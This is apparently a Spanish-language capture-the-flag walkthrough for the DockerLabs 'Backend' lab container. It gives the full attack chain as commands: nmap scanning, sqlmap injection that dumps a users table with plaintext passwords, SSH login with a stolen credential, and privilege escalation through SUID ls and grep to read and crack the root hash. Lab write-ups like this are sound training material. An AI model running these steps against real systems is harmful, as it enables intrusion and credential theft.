> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/backend.md).
# Backend
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Backend** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos `7z` para extraer el contenido del archivo comprimido:
```bash
7z x backend.zip
```
#### **1.3. Ejecución**
Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh backend.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` a la IP del contenedor para confirmar su disponibilidad:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Descubrimos:**
* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.61.
#### **2.4. Interfaz web**
En el navegador accedemos a: `http://172.17.0.2/`.
Y exploramos el panel de inicio de sesión ubicado en: `http://172.17.0.2/login.html`.
### **3. Explotación**
#### **3.1. Prueba de SQL Injection**
Usamos `sqlmap` para evaluar el formulario de inicio de sesión:
```bash
sqlmap -u http://172.17.0.2/login.html --dbs --batch --forms
```
El panel de inicio de sesión es vulnerable a inyección SQL y hemos encontrado las siguientes bases de datos disponibles:
* `information_schema`.
* `mysql`.
* `performance_schema`.
* `sys`.
* `users`.
#### **3.2. Enumeración de tablas**
Listamos las tablas dentro de la base de datos `users`:
```bash
sqlmap -u http://172.17.0.2/login.html --batch --forms -D users --tables
```
**Descubrimos la tabla:** `usuarios`.
#### **3.3. Volcado de datos**
Extraemos los registros de la tabla `usuarios`:
```bash
sqlmap -u http://172.17.0.2/login.html --batch --forms -D users -T usuarios --dump
```
**Contenido:**
| **id** | **password** | **username** |
| :----: | :-----------: | :----------: |
| 1 | $paco$123 | paco |
| 2 | P123pepe3456P | pepe |
| 3 | jjuuaann123 | juan |
#### **3.4. Acceso por SSH**
Probamos con las credenciales del usuario `pepe`:
```bash
ssh pepe@172.17.0.2
```
Confirmamos acceso como el usuario `pepe`.
### **4. Escalada de privilegios**
#### **4.1. Identificación de binarios SUID**
Utilizamos el siguiente comando:
```bash
find / -perm -4000 2>/dev/null
```
Encontramos que `/usr/bin/ls` y `/usr/bin/grep` tienen el bit SUID activado.
#### **4.2. Acceso a contenido restringido**
Listamos el directorio `/root` usando `/usr/bin/ls` con privilegios elevados:
```bash
/usr/bin/ls /root
```
Vemos un archivo llamado `pass.hash`.
#### **4.3. Lectura del archivo**
Usamos `grep` para visualizar el contenido del archivo:
```bash
/usr/bin/grep "" /root/pass.hash
```
**El hash obtenido es:** `e43833c4c9d5ac444e16bb94715a75e4`.
#### **4.4. Crackeo del hash**
Utilizamos [CrackStation](https://crackstation.net/) y logramos obtener la contraseña del usuario `root`: `spongebob34`.
#### **4.5. Escalada a root**
Ejecutamos:
```bash
su root
```
Ingresamos la contraseña (`spongebob34`) y obtenemos acceso como el usuario `root`.
